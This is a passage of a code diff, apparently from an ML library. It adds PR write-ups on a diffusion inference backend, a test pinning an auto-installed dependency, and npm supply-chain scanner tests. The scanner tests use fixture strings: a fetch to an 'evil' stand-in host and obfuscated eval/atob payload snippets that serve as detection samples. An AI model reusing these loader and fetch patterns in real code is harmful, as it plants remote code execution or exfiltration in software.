up. `resolve_release_asset()` is a pure, unit-tested host-to-asset matrix, so Apple Silicon and CPU users get a working binary with nothing to compile. +- Smoke harness (`scripts/sd_cpp_smoke.py`). Drives the real engine over a built or installed `sd-cli` and a set of split GGUF assets, the native analogue of `scripts/diffusion_bench.py`. + +## Verification (single B200 box) + +Built `sd-cli` from source (CUDA) and installed the prebuilt (CPU), then generated Z-Image-Turbo Q4_K end to end through `SdCppEngine`, all producing coherent images: + +| binary | memory mode | offload flags | generation | +| --- | --- | --- | --- | +| source (CUDA) | `balanced` | `--offload-to-cpu --diffusion-fa` | 5.0 s | +| source (CUDA) | `low_vram` | `--offload-to-cpu --clip-on-cpu --vae-on-cpu --vae-tiling --diffusion-fa` | 13.4 s | +| prebuilt (CPU) | `low_vram` | (same) | 50.4 s on CPU | + +The CPU prebuilt run exercises the dynamically-linked path and confirms `runtime_env()` lets the bundled shared library load. The installer was verified live: `resolve_release_asset` selects the correct asset for Linux (CPU / Vulkan / ROCm), macOS-arm64, and Windows (avx2 / cuda12 / vulkan) against a real release, and a real download + extract produced a runnable `sd-cli`. + +## Tests + +CPU only, with subprocess and the filesystem stubbed, run from `studio/backend`: + +``` +python -m pytest tests/test_sd_cpp_args.py tests/test_sd_cpp_engine.py tests/test_sd_cpp_install.py +``` + +49 new tests covering the command builder, the offload and family mappings, the binary finder precedence, the version probe, `generate` (success, nonzero exit, missing output, missing binary), `runtime_env`, the engine routing matrix, and the installer's host-to-asset resolver. The full diffusion suite is 166 passing. + +## Out of scope (later) + +Wiring the route / backend to dispatch to the native engine (asset resolution for the split VAE / text-encoder files, status reporting which engine is active) and the image-to-image / editing / LoRA / upscale / video feature surface. This PR lands the engine, installer, and routing decision as a self-contained, tested unit. diff --git a/temp/phase6_commit_msg.txt b/temp/phase6_commit_msg.txt new file mode 100644 index 0000000000..50fd323aa2 --- /dev/null +++ b/temp/phase6_commit_msg.txt @@ -0,0 +1,27 @@ +Studio diffusion (Phase 6): img2img / inpaint / edit / LoRA / upscale on the native engine + +Builds on Phase 4's native stable-diffusion.cpp engine, extending it from +text-to-image to the wider feature surface, since sd.cpp supports all of these +through the binary already. Pure command-builder additions plus one engine +method, so the txt2img path is unchanged. + +- sd_cpp_args.py: SdCppGenParams gains image-conditioning fields. init_img + + strength make a run img2img, adding mask makes it inpaint, ref_images drives + FLUX-Kontext / Qwen-Image-Edit style editing (repeated --ref-image), and + lora_dir + the prompt syntax select LoRAs. New + SdCppUpscaleParams + build_sd_cpp_upscale_command for the ESRGAN upscale run + mode (input image + esrgan model, no prompt / text encoders). +- sd_cpp_engine.py: the subprocess runner is factored into a shared _run() so + generate() (now carrying the conditioning flags) and a new upscale() reuse + the same streaming / error / output-check path. +- scripts/sd_cpp_smoke.py: --task {txt2img,img2img,upscale} with --init-img / + --strength / --upscale-model / --upscale-repeats. + +Tests: 10 new across the img2img / inpaint / edit / LoRA flag construction, the +upscale builder and its validation, and the engine's img2img + upscale paths. +Full diffusion suite 176 passing. + +Verified on a B200 box through SdCppEngine: img2img (Z-Image-Turbo Q4_K, the +init image conditioned at strength 0.6, 4.8s) and ESRGAN upscale +(512x512 -> 2048x2048 via RealESRGAN_x4plus_anime_6B, 2.7s), both producing +coherent images. Video and the diffusers-path feature wiring are deferred. diff --git a/temp/phase6_pr_body.md b/temp/phase6_pr_body.md new file mode 100644 index 0000000000..af84ede53b --- /dev/null +++ b/temp/phase6_pr_body.md @@ -0,0 +1,35 @@ +## Summary + +Phase 6 extends Phase 4's native stable-diffusion.cpp engine (#6679) from text-to-image to the wider feature surface: image-to-image, inpaint, edit, LoRA, and ESRGAN upscale. stable-diffusion.cpp already supports all of these through the binary, so this is pure command-builder additions plus one new engine method. The text-to-image path is byte-for-byte unchanged (the new fields all default to off). + +Stacked on #6679; I will retarget the base as the lower phases land. + +## What it does + +- Image conditioning (`sd_cpp_args.py`). `SdCppGenParams` gains `init_img` + `strength` (img2img), `mask` (inpaint), `ref_images` (FLUX-Kontext / Qwen-Image-Edit editing, emitted as repeated `--ref-image`), and `lora_dir` + `lora_apply_mode`. Individual LoRAs are selected with sd.cpp's own `` tags inside the prompt, so no prompt rewriting is needed. +- Upscale mode. A new `SdCppUpscaleParams` + `build_sd_cpp_upscale_command` drive sd-cli's ESRGAN run mode (input image + ESRGAN model, no prompt or text encoders). +- Engine (`sd_cpp_engine.py`). The subprocess runner is factored into a shared `_run()` so `generate()` (now carrying the conditioning flags) and the new `upscale()` reuse the same streaming / error / output-check path. +- Smoke harness. `scripts/sd_cpp_smoke.py` gains `--task {txt2img,img2img,upscale}` with `--init-img` / `--strength` / `--upscale-model` / `--upscale-repeats`. + +## Verification (single B200 box, through SdCppEngine) + +| task | detail | time | +| --- | --- | --- | +| img2img | Z-Image-Turbo Q4_K, init image at strength 0.6, prompt re-themed to autumn | 4.8 s | +| upscale | RealESRGAN_x4plus_anime_6B, 512x512 to 2048x2048 (4x) | 2.7 s | + +Both produce coherent images: the img2img run preserves the source structure while applying the new prompt, and the upscale run quadruples each dimension. inpaint / edit / LoRA are verified at the command-construction level (the real-model runs need specific edit checkpoints / LoRA files). + +## Tests + +CPU only, subprocess and filesystem stubbed, from `studio/backend`: + +``` +python -m pytest tests/test_sd_cpp_args.py tests/test_sd_cpp_engine.py +``` + +10 new tests across the img2img / inpaint / edit / LoRA flag construction, the upscale builder and its validation, and the engine's img2img + upscale paths. Full diffusion suite 176 passing. + +## Out of scope (later) + +Video (`vid_gen`, Wan / LTX), and wiring these tasks through the route / backend and the diffusers path. This PR lands them on the native engine as a self-contained, tested unit. diff --git a/temp/phase7_commit_msg.txt b/temp/phase7_commit_msg.txt new file mode 100644 index 0000000000..823ef2e33a --- /dev/null +++ b/temp/phase7_commit_msg.txt @@ -0,0 +1,59 @@ +Studio diffusion (Phase 7): accuracy-preserving speed pass + +Re-review of the diffusion stack (#6675/#6679/#6680) surfaced one real accuracy +bug and a dead-on-arrival speed path; this fixes both and adds the lossless / +near-lossless wins, all measured on a B200. + +Correctness: +- TF32 global-state leak (fix). speed_mode=max flipped torch.backends.*.allow_tf32 + process-wide and never restored them, so a later `off` load silently inherited + TF32 and was no longer bit-identical. Added snapshot_backend_flags / + restore_backend_flags (TF32 + cudnn.benchmark), captured before the speed layer + runs and restored on unload. Verified: load max -> unload -> load off is now + byte-identical (PSNR inf) to a fresh off. +- sd-cli timeout could hang forever. _run() blocked in `for line in stdout` and + only checked the timeout after EOF, so a child stuck in model load / GPU init + with no output ignored the timeout. Drained stdout on a reader thread with a + wall-clock deadline. Added a silent-hang regression test. + +Speed (diffusers path), near-lossless, opt-in tiers: +- Regional torch.compile now runs on the GGUF transformer. The is_gguf gate (and + Z-Image's supports_torch_compile=False) were stale: compile_repeated_blocks + compiles and runs ~2.2x faster on the GGUF Z-Image transformer on + torch 2.9.1 / diffusers 0.38 (the per-op dequant stays eager, the rest of the + block compiles). Measured: off 1.80s -> default 0.82s/gen (+54.7%), PSNR 37.7 dB + vs eager -- far above the Q4 quant noise floor (~21 dB), so it does not move + output quality. Gate relaxed; default tier delivers it. +- cudnn.benchmark added to the default tier (autotunes the fixed-shape VAE convs). +- torch.inference_mode() around the pipeline call (lossless, strictly faster than + the no_grad diffusers uses internally). + +Memory path: +- VAE tiling (not bit-identical >1MP) restricted to the model/sequential/CPU tiers; + the balanced (group) tier keeps exact slicing only, so it is now bit-identical to + the resident image (verified PSNR inf) and slightly faster. +- Group offload adds non_blocking + record_stream on the CUDA stream path to + overlap each block's H2D copy with compute (lossless; gated on the installed + diffusers signature so older versions still work). + +Native (sd.cpp) path: +- native_speed_flags: a first-class speed knob (default -> --diffusion-fa, a + near-lossless CUDA win that was previously only added on offload tiers; max also + -> --diffusion-conv-direct). conv-direct stays opt-in: measured +45% on CUDA, so + it is never auto-on. Engine generate() merges it, de-duped against offload flags. + +Default profile: a GGUF model with no explicit speed_mode now resolves to the +`default` profile (resolve_speed_mode), since compile's perturbation sits below the +quantisation noise floor and so does not reduce quality versus the dense reference; +out of the box a GGUF Z-Image generation drops from 1.80s to 0.81s. Dense models +stay `off` / bit-identical, and an explicit speed_mode -- including "off" -- is +always honored, so the byte-identical path remains one flag away and is the +regression reference. + +Tooling: scripts/compile_probe.py (eager vs compiled GGUF probe), scripts/ +perf_verify.py (the B200 verification above), and diffusion_bench.py gains +--speed-mode so the speed tiers are benchmarkable. + +Tests: 183 passing (was 166); new coverage for the backend-flag snapshot/restore, +GGUF compile eligibility, the balanced tiling/slicing split, native_speed_flags + +the engine de-dup, and the sd-cli silent-hang timeout. diff --git a/temp/phase7_pr_body.md b/temp/phase7_pr_body.md new file mode 100644 index 0000000000..85a48d9b9b --- /dev/null +++ b/temp/phase7_pr_body.md @@ -0,0 +1,41 @@ +## Summary + +A re-review of the diffusion stack (#6675 / #6679 / #6680) focused on performance, then a speed pass that preserves accuracy. The review surfaced one real accuracy bug and one dead-on-arrival speed path; this fixes both and adds the lossless / near-lossless wins, all measured on a B200. Stacked on #6680. + +The headline: regional `torch.compile` was gated off for the GGUF transformer, and since the backend is GGUF-only that made it dead on every shipping model. It actually compiles and runs **2.2x faster** now, at a quality delta far below the quantisation noise floor, so it is safe to use. + +## Correctness fixes + +- **TF32 global-state leak.** `speed_mode=max` flipped `torch.backends.*.allow_tf32` process-wide and never restored them, so a later `off` load silently inherited TF32 and was no longer bit-identical. Added `snapshot_backend_flags` / `restore_backend_flags` (TF32 + cudnn.benchmark), captured before the speed layer runs and restored on unload. Verified: load `max` then `off` is now byte-identical (PSNR inf) to a fresh `off`. +- **sd-cli could hang past its timeout.** `_run()` blocked in `for line in stdout` and only checked the timeout after EOF, so a child stuck in model load / GPU init with no output ignored the timeout. Drained stdout on a reader thread with a wall-clock deadline; added a silent-hang regression test. + +## Speed: diffusers path (near-lossless) + +- **Regional `torch.compile` on the GGUF transformer.** The `is_gguf` gate (and Z-Image's `supports_torch_compile=False`) were stale: `compile_repeated_blocks` compiles and runs ~2.2x faster on torch 2.9.1 / diffusers 0.38 (the per-op dequant stays eager, the rest of the block compiles). Gate relaxed. +- **cudnn.benchmark** added to the `default` tier (autotunes the fixed-shape VAE convs). +- **`torch.inference_mode()`** around the pipeline call (strictly faster than the internal `no_grad`, numerically identical). +- **Default profile.** A GGUF model with no explicit `speed_mode` now resolves to `default` (`resolve_speed_mode`), since compile's perturbation sits below the quant noise floor and so does not reduce quality versus the dense reference. Dense models stay `off` / bit-identical, and an explicit value (including `"off"`) is always honored, so the byte-identical path is one flag away and remains the regression reference. + +## Memory path + +- **VAE tiling** (not bit-identical above 1MP) is now restricted to the `model` / `sequential` / CPU tiers. The `balanced` (group) tier keeps exact slicing only, so it is now **bit-identical** to the resident image (verified PSNR inf) and slightly faster. +- **Group offload** adds `non_blocking` + `record_stream` on the CUDA stream path to overlap each block's H2D copy with compute (lossless; gated on the installed diffusers signature so older versions still work). + +## Native (sd.cpp) path + +- **`native_speed_flags`**: a first-class speed knob. `default` adds `--diffusion-fa` (a near-lossless CUDA win that was previously only added on offload tiers); `max` also adds `--diffusion-conv-direct`. conv-direct stays opt-in because it measured **+45% on CUDA** here, so it is never auto-on. The engine `generate()` merges it, de-duped against the offload flags. + +## Measured (single B200, Z-Image-Turbo Q4_K_M, 1024x1024, 8 steps) + +| config | median/gen | vs off | accuracy | +| --- | --- | --- | --- | +| `off` (bit-identical reference) | 1.80 s | reference | reference | +| `default` (auto for GGUF) | **0.82 s** | **+54.7%** | PSNR 37.7 dB vs eager (Q4-vs-bf16 is ~21 dB, so below the noise floor) | +| `balanced` (group offload) | 2.19 s | n/a | PSNR inf (bit-identical, tiling now off) | +| `off` after a `max` load | 1.83 s | n/a | PSNR inf vs fresh `off` (TF32 leak fixed) | + +`scripts/perf_verify.py` reproduces all of the above end to end through the real backend; `scripts/compile_probe.py` is the eager-vs-compiled GGUF probe. + +## Tests + +184 passing (was 166). New coverage: the backend-flag snapshot/restore, GGUF compile eligibility + the `resolve_speed_mode` GGUF auto-default, the `balanced` tiling/slicing split + group `non_blocking`/`record_stream`, `native_speed_flags` + the engine de-dup, and the sd-cli silent-hang timeout. `scripts/diffusion_bench.py` gains `--speed-mode` so the tiers are benchmarkable. diff --git a/temp/phase8_pr_body.md b/temp/phase8_pr_body.md new file mode 100644 index 0000000000..312ae185b6 --- /dev/null +++ b/temp/phase8_pr_body.md @@ -0,0 +1,59 @@ +## Summary + +An opt-in **fast transformer** mode for the Studio diffusion backend: load the dense bf16 transformer and torchao-quantise it onto the low-precision tensor cores, instead of the GGUF transformer. Stacked on the Phase 7 perf pass (#6690). + +The motivation, measured on a B200 (Z-Image-Turbo, 1024px / 8 steps, LPIPS vs the dense bf16 reference): GGUF stores the transformer 4-bit but **dequantises to bf16 on every matmul**, so it runs at bf16 tensor-core rate and never touches the int8 / fp8 / fp4 cores. It is a memory win that costs speed. Loading the dense bf16 transformer and quantising it dynamically with torchao runs the matmul on the actual low-precision cores: + +| config | sec | vs GGUF+compile | LPIPS vs bf16 | +| --- | --- | --- | --- | +| GGUF + compile (today's default) | 0.802 | 1.00x | 0.083 | +| dense bf16 + compile (no quant) | 0.671 | 1.20x | 0.004 | +| int8 dynamic + compile | 0.603 | **1.33x** | 0.069 | +| fp8 dynamic + compile | 0.585 | **1.37x** | 0.058 | + +Every working scheme beats GGUF on **both** speed and quality (LPIPS lands *below* GGUF's own 4-bit floor of 0.083). The only cost is memory: the dense bf16 transformer must be loaded (~2x the 4-bit GGUF), so the mode is strictly opt-in and gated on resident VRAM headroom. GGUF + compile stays the low-memory default and the fallback. + +## What it does + +New flag `transformer_quant` on the load request (`auto | int8 | fp8 | nvfp4 | mxfp8`, default off). When set and the device qualifies (CUDA + bf16 + the dense weights fit resident), the loader: + +1. loads the **dense bf16 transformer** from the family `base_repo` (`from_pretrained(subfolder="transformer")`) instead of the GGUF, +2. places it on the device and torchao-quantises the FLOP-heavy linears, +3. compiles the repeated block (existing Phase 7 regional compile), then applies placement — so the order is **quantize -> compile -> offload**. + +`auto` picks the best scheme for the GPU via a real quantise+matmul **smoke probe** (Blackwell fp8 -> nvfp4 -> mxfp8 -> int8; Ada/Hopper fp8 -> int8; Ampere int8). An explicit scheme is honored only if supported, never silently swapped. **Any** failure (unsupported arch/scheme, OOM, partial quant, or the dense weights not fitting resident) falls back to the GGUF build with a logged reason — the default path cannot regress. + +A `min_features=512` filter skips the tiny timestep/pooled/modulation projections: the int8 path uses `torch._int_mm`, which requires activation rows M>16, and those projections run at M=1 and crash it (measured: 239/276 Z-Image linears quantised, full speedup, no crash). + +## Design + +- New module `core/inference/diffusion_transformer_quant.py` mirrors `diffusion_precision.py` (the text-encoder quant module): pure functions, torch/torchao imported lazily, best-effort, hermetic CPU tests. It owns scheme selection + the arch/capability/smoke probe + the `quantize_` call. +- `diffusion.py` `load_pipeline` gains the source-branch (dense+quant or GGUF), the VRAM preflight (reuses `plan_diffusion_memory` / `estimate_gguf_dense_mib`), and the fallback. `transformer_quant` threads through `begin_load` / `_LoadState` / `status()` exactly like `text_encoder_quant`. +- Flag surface mirrors `text_encoder_quant`: request + status models in `models/inference.py`, forwarded in `routes/inference.py`. +- torchao tensors are not safetensors-serializable; this backend is inference-only, so the engaged transformer carries a diagnostic runtime marker but there is no save path to guard. + +Blackwell nvfp4/mxfp8 are wired but `auto` deliberately lands on fp8. NVFP4 is a torchao feature (torch core only provides the `float4_e2m1fn_x2` primitive, not a quantization workflow). It was validated both on this box's torch 2.9 (no FP4 kernel: torchao prints "Skipping import of cpp extensions ... upgrade to torch >= 2.11", so it dequantises FP4->bf16 and runs at bf16-compile rate) and in an isolated torch 2.11.0 + torchao CUTLASS env where the FP4 GEMM is genuinely live -- a 16384^3 GEMM hits ~3826 TFLOPS (2.52x bf16, 1.37x fp8). The catch is shape: the DiT's linears (hidden ~3072, MLP ~12288, M~4096) sit below the crossover where FP4 compute beats fp8, so end-to-end on Z-Image 1024px NVFP4 is **slower (0.81x fp8) and less accurate (LPIPS 0.166 vs fp8's 0.044)** even with the fast kernel. So the Blackwell `auto` ladder puts fp8 ahead of nvfp4 (nvfp4 stays an explicit opt-in); the NVFP4 triton path also still requires MSLK (repo unavailable), while the CUTLASS path is the real one. See `scripts/nvfp4_probe.py` (torch 2.9) and `scripts/nvfp4_t211_probe.py` (torch 2.11 micro + e2e). + +## Measured through the backend (single B200, Z-Image-Turbo, 1024x1024, 8 steps, seed 12345) + +End to end through `DiffusionBackend` via `scripts/diffusion_bench.py`. LPIPS vs the dense bf16 reference is from `scripts/quant_probe.py` (the standalone lever probe). + +| `transformer_quant` | engaged scheme | median/gen | vs GGUF | load VRAM | gen VRAM | LPIPS | +| --- | --- | --- | --- | --- | --- | --- | +| (unset) GGUF + compile | none | 0.823 s | reference | 13.4 GB | 15.3 GB | 0.083 | +| `auto` | fp8 | **0.614 s** | **1.34x** | 20.9 GB | 16.5 GB | 0.058 | +| `int8` | int8 | 0.626 s | 1.32x | 20.9 GB | 16.5 GB | 0.069 | +| `mxfp8` | mxfp8 | 0.651 s | 1.26x | 21.3 GB | 16.7 GB | n/m | + +`auto` selects fp8 on this B200 (nvfp4 smoke-fails on torch 2.9 -> the ladder prefers the measured-faster fp8 over mxfp8). The speed-for-memory trade is explicit: the dense bf16 load peaks ~21 GB vs GGUF's 13.4 GB; resident generation VRAM is close (16.5 vs 15.3 GB). Every engaged scheme is faster than GGUF *and* lands below its 0.083 LPIPS floor. + +## Tests + +CPU-only, hermetic (torch / torchao stubbed via `sys.modules`): +- new `tests/test_diffusion_transformer_quant.py` — normalisation, the arch-selection ladder (Ampere int8 / Ada-Hopper fp8 / Blackwell fp8->nvfp4->mxfp8 fallback / pre-Ampere none / explicit-unsupported none), the smoke-probe cache + tolerance, the feature filter, and the apply path (calls `quantize_` with a filter_fn, sets the marker, tolerates failure). +- extended `tests/test_diffusion_backend.py` — default load skips the dense path; the dense path engages and reports the scheme; a quant failure falls back to GGUF; the path is skipped when the plan would offload. +- extended `tests/test_diffusion_routes.py` — the flag threads through to `begin_load` and an invalid enum is a 422. + +`scripts/diffusion_bench.py` gains `--transformer-quant` (through-the-backend benchmark + regression guard); `scripts/quant_probe.py` is the standalone torchao lever probe (latency + PSNR + LPIPS + VRAM vs the dense reference, with the `--min-feat` filter). + + diff --git a/temp/phase9_pr_body.md b/temp/phase9_pr_body.md new file mode 100644 index 0000000000..77d9eb0ab6 --- /dev/null +++ b/temp/phase9_pr_body.md @@ -0,0 +1,83 @@ +## Summary + +Pre-quantized transformer loading for the Studio diffusion fast path: load an +already-quantized transformer checkpoint instead of materialising the dense bf16 and +quantising it on the GPU. Stacked on the Phase 8 fast-transformer pass (#6694). + +The Phase 8 `transformer_quant` mode is fast, but its one cost is load memory + download: +it loads the **dense bf16** transformer onto the GPU and torchao-`quantize_`s it in place, +so the load peak is ~2x GGUF's and it pulls the full bf16 weights. Pre-quantizing fixes +both. Quantise once offline, then at runtime build the transformer skeleton on the **meta** +device (`accelerate.init_empty_weights`) and `load_state_dict(assign=True)` the quantized +weights, so the dense bf16 never touches the GPU. + +Measured on a B200 (Z-Image-Turbo, fp8, 1024px / 8 steps), through the real loader: + +| path | GPU load peak (full pipeline) | on-disk | output | +| --- | --- | --- | --- | +| runtime (dense `from_pretrained` -> `quantize_transformer`) | 21.2 GB | ~12 GB bf16 | reference | +| **pre-quantized (`load_prequantized_transformer`)** | **14.6 GB** | **6.28 GB** | **LPIPS 0.0** | + +The fast mode's load peak drops to essentially GGUF's 13.4 GB, the download halves, and the +output is bit-identical, because it is the exact same torchao config + `min_features` filter +the runtime path uses, applied ahead of time (the isolated transformer load peak is 12.9 -> +6.3 GB; the 14.6 GB above includes the resident text encoder + VAE both paths load). + +## What it does + +`_load_dense_quant_pipeline` now tries a pre-quantized source first, then falls back: + +1. **pre-quantized** -- if a checkpoint is configured for the resolved scheme (an explicit + `transformer_prequant_path`, or the family's hosted repo), `load_prequantized_transformer` + builds the skeleton on meta and assigns the quantized state dict in, then places it; +2. **dense + quantise** (the Phase 8 path, unchanged) if no checkpoint is available or its + load fails; +3. **GGUF** if quantisation itself is unsupported. + +So with nothing configured the behaviour is exactly Phase 8. Hosting of checkpoints is +deferred: `DiffusionFamily.prequant_repos` ships empty and the new request field defaults +null, so this is inert until a checkpoint is built/configured. + +## Design + +- New `core/inference/diffusion_prequant.py` mirrors the sibling quant modules (pure + functions, torch / accelerate / huggingface_hub imported lazily, best-effort, hermetic CPU + tests). `resolve_prequant_source` (priority: explicit path -> family repo -> none) and + `load_prequantized_transformer` (meta-init + `load_state_dict(assign=True)` + metadata + validation + place + the same `_unsloth_runtime_quant` marker). Any missing / mismatched / + unreadable checkpoint returns None and the caller falls back -- the default cannot regress. +- The checkpoint is `{"format", "metadata", "state_dict"}` saved with `torch.save`. torchao + weight subclasses are not safetensors-serializable, so loading uses `weights_only=False`; + only a configured first-party family repo or an explicit local path reaches that, which is + the trust signal (no arbitrary remote pickle). The `PrequantSource.kind` enum leaves room + for a diffusers-native `TorchAoConfig` artifact later. +- `scripts/build_prequant_checkpoint.py` builds (and optionally uploads) a checkpoint, + importing the runtime quant factory (`_make_quant_config` / `make_filter_fn`) so the + offline artifact is identical to on-the-fly quantisation (the LPIPS-0 invariant). +- Flag surface: `DiffusionLoadRequest.transformer_prequant_path`, forwarded through the + route / `begin_load` / `load_pipeline` exactly like `transformer_quant`. `status()` already + reports the engaged scheme, so no status-model change. + +## Tests + +CPU-only, hermetic (torch / accelerate / huggingface_hub stubbed via `sys.modules`): +- new `tests/test_diffusion_prequant.py` -- the resolver (path override wins / family repo by + scheme / wrong scheme / nothing configured), and the loader (meta-init + `assign=True`, + never the dense `from_pretrained`, sets the marker; format / scheme / base mismatch, a + raising `torch.load`, and a missing file each return None). +- extended `tests/test_diffusion_backend.py` -- the pre-quant branch engages (no dense load, + no `quantize_transformer`), and a failed pre-quant load falls back to the dense path. +- extended `tests/test_diffusion_routes.py` -- `transformer_prequant_path` threads through to + `begin_load`. + +GPU verification: `scripts/build_prequant_checkpoint.py` then +`scripts/verify_prequant_backend.py` (the table above), and `scripts/prequant_probe.py` (the +original meta-init + assign measurement). + +## Scope / notes + +- Default unchanged: families ship `prequant_repos=()` and the request field defaults null. +- The VRAM preflight still estimates the dense size, so the resident gate stays conservative + (a box that fits the pre-quant but not the dense load still falls back to GGUF). A follow-up + can lower the estimate when a pre-quant source resolves. +- GPU-verified on Z-Image / fp8; Flux / Qwen and int8 are wired but unverified -> flagged. diff --git a/tests/saving/test_llm_compressor_install_pin.py b/tests/saving/test_llm_compressor_install_pin.py new file mode 100644 index 0000000000..c2ddfb14e2 --- /dev/null +++ b/tests/saving/test_llm_compressor_install_pin.py @@ -0,0 +1,112 @@ +"""Static guards (no import/network/GPU, like test_save_shell_injection.py) that +install_llm_compressor()'s first-use auto-install of llm-compressor stays version-pinned to a vetted +range and keeps its opt-out env gate, so a compromised/inflated release can't be auto-pulled.""" + +from __future__ import annotations + +import ast +from pathlib import Path + +SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py" + +_ENV_FLAG = "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL" + + +def _module() -> ast.Module: + return ast.parse(SAVE_PY.read_text(encoding = "utf-8"), filename = str(SAVE_PY)) + + +def _get_function(name: str) -> ast.FunctionDef: + for node in ast.walk(_module()): + if isinstance(node, ast.FunctionDef) and node.name == name: + return node + raise AssertionError(f"Function {name} not found in save.py") + + +def _spec_value(): + for node in ast.walk(_module()): + if isinstance(node, ast.Assign) and isinstance(node.value, ast.Constant): + if any( + isinstance(t, ast.Name) and t.id == "_LLM_COMPRESSOR_SPEC" for t in node.targets + ): + return node.value.value + return None + + +def _first_lineno(fn: ast.AST, predicate) -> int | None: + lines = [n.lineno for n in ast.walk(fn) if predicate(n) and hasattr(n, "lineno")] + return min(lines) if lines else None + + +def test_spec_is_a_bounded_pin() -> None: + spec = _spec_value() + assert spec is not None, "_LLM_COMPRESSOR_SPEC must be defined at module scope" + assert "llmcompressor" in spec, f"spec must name llmcompressor, got {spec!r}" + # A lower and an upper bound: pip cannot jump to an arbitrary (e.g. inflated) future release. + assert ">=" in spec and "<" in spec, f"spec must have lower and upper bounds, got {spec!r}" + + +def test_ceiling_blocks_inflated_versions() -> None: + """Cap to the exact vetted patch: block an inflated 0.x, a new major, and any higher in-range patch.""" + from packaging.requirements import Requirement + + spec = Requirement(_spec_value()).specifier + assert spec.contains("0.12.0"), "the current vetted release must resolve" + assert not spec.contains("0.999.0"), "an inflated 0.x must be blocked" + assert not spec.contains("1.0.0"), "a new major must not be auto-installed" + assert not spec.contains( + "0.12.1" + ), "a higher in-range patch must be blocked (cap to the vetted patch)" + assert not spec.contains( + "0.12.999" + ), "a crafted higher in-range patch (e.g. on a mirror) must be blocked" + + +def test_floor_stays_compatible_with_supported_torch() -> None: + """Floor must stay <=0.6.0: 0.7+ need torch>=2.7, but the pinned torch can be as old as 2.4.""" + from packaging.requirements import Requirement + from packaging.version import Version + + req = Requirement(_spec_value()) + lowers = [Version(s.version) for s in req.specifier if s.operator in (">=", "==", "~=")] + assert lowers, "spec must declare a lower bound" + assert max(lowers) <= Version("0.6.0"), ( + f"floor {max(lowers)} requires a torch newer than Unsloth's minimum (2.4); " + "llm-compressor >0.6.0 needs torch>=2.7. Keep the floor <= 0.6.0." + ) + + +def test_install_command_uses_pinned_spec_not_bare_name() -> None: + fn = _get_function("install_llm_compressor") + # No argv list may pass the bare, unpinned package literal "llmcompressor". + for node in ast.walk(fn): + if isinstance(node, ast.List): + for elt in node.elts: + if isinstance(elt, ast.Constant) and elt.value == "llmcompressor": + raise AssertionError( + "install command must not pass an unpinned 'llmcompressor' literal; " + "use the bounded _LLM_COMPRESSOR_SPEC" + ) + names = {n.id for n in ast.walk(fn) if isinstance(n, ast.Name)} + assert "_LLM_COMPRESSOR_SPEC" in names, "install command must reference _LLM_COMPRESSOR_SPEC" + + +def test_optout_env_gate_precedes_subprocess_install() -> None: + fn = _get_function("install_llm_compressor") + env_line = _first_lineno(fn, lambda n: isinstance(n, ast.Constant) and n.value == _ENV_FLAG) + assert env_line is not None, f"{_ENV_FLAG} opt-out must be checked in install_llm_compressor" + + def _is_check_call(n: ast.AST) -> bool: + return ( + isinstance(n, ast.Call) + and isinstance(n.func, ast.Attribute) + and n.func.attr == "check_call" + and isinstance(n.func.value, ast.Name) + and n.func.value.id == "subprocess" + ) + + install_line = _first_lineno(fn, _is_check_call) + assert install_line is not None, "expected a subprocess.check_call install in the function" + assert ( + env_line < install_line + ), "the auto-install opt-out must be evaluated before any package install runs" diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py index ec9af37785..35a34e2834 100644 --- a/tests/security/test_scan_npm_packages.py +++ b/tests/security/test_scan_npm_packages.py @@ -328,8 +328,9 @@ def _finding( fn, pattern, sev = snp.HIGH, + evidence = "", ): - return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern) + return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence) def test_norm_pkg_name_strips_version_keeps_scope(): @@ -394,11 +395,486 @@ def test_write_then_load_baseline_roundtrip(tmp_path): n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH]) assert n == 1 # dedup + MEDIUM excluded keys = snp._load_baseline(str(bl)) - assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys + assert snp._finding_key(findings[0]) in keys # MEDIUM below HIGH threshold -> not written. assert all(k[2] != "js-env-token" for k in keys) +def test_baseline_reopens_on_changed_evidence(tmp_path): + # Same package/file/pattern but changed flagged code must reopen: the key now + # includes an evidence hash, so a new payload cannot ride a reviewed entry. + bl = tmp_path / "bl.json" + listed = _finding( + "left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')" + ) + snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH]) + baseline = snp._load_baseline(str(bl)) + + # The reviewed finding stays suppressed across a version bump (same evidence). + same = _finding( + "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')" + ) + # A changed payload under the same package/file/pattern stays active. + changed = _finding( + "left-pad@9.9.9", + "package/dist/index.js", + "obfuscated-blob", + evidence = "fetch('http://evil')", + ) + active, suppressed = snp._partition_baseline([same, changed], baseline) + assert same in suppressed + assert changed in active + + +def test_obfuscated_blob_key_reopens_on_changed_tail(): + # A large blob's evidence hash binds the full match (via a digest when the + # snippet is truncated), so changing only the payload tail reopens the key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + head = "A" * 2300 + old = f'eval("{head}{"B" * 300}")' + new = f'eval("{head}{"C" * 300}")' + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "obfuscated-blob" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "obfuscated-blob" + ][0] + assert "sha256:" in of.evidence + assert of.evidence != nf.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_js_fetch_eval_payload_tail_reopens_key(): + # The js-fetch-eval evidence digests the full containing line when the shown + # window truncates it, so a changed payload tail beyond the window reopens + # the key instead of riding the unchanged decoder head. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + head = "A" * 40 + old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n" + new = "(0,eval)(atob('" + head + 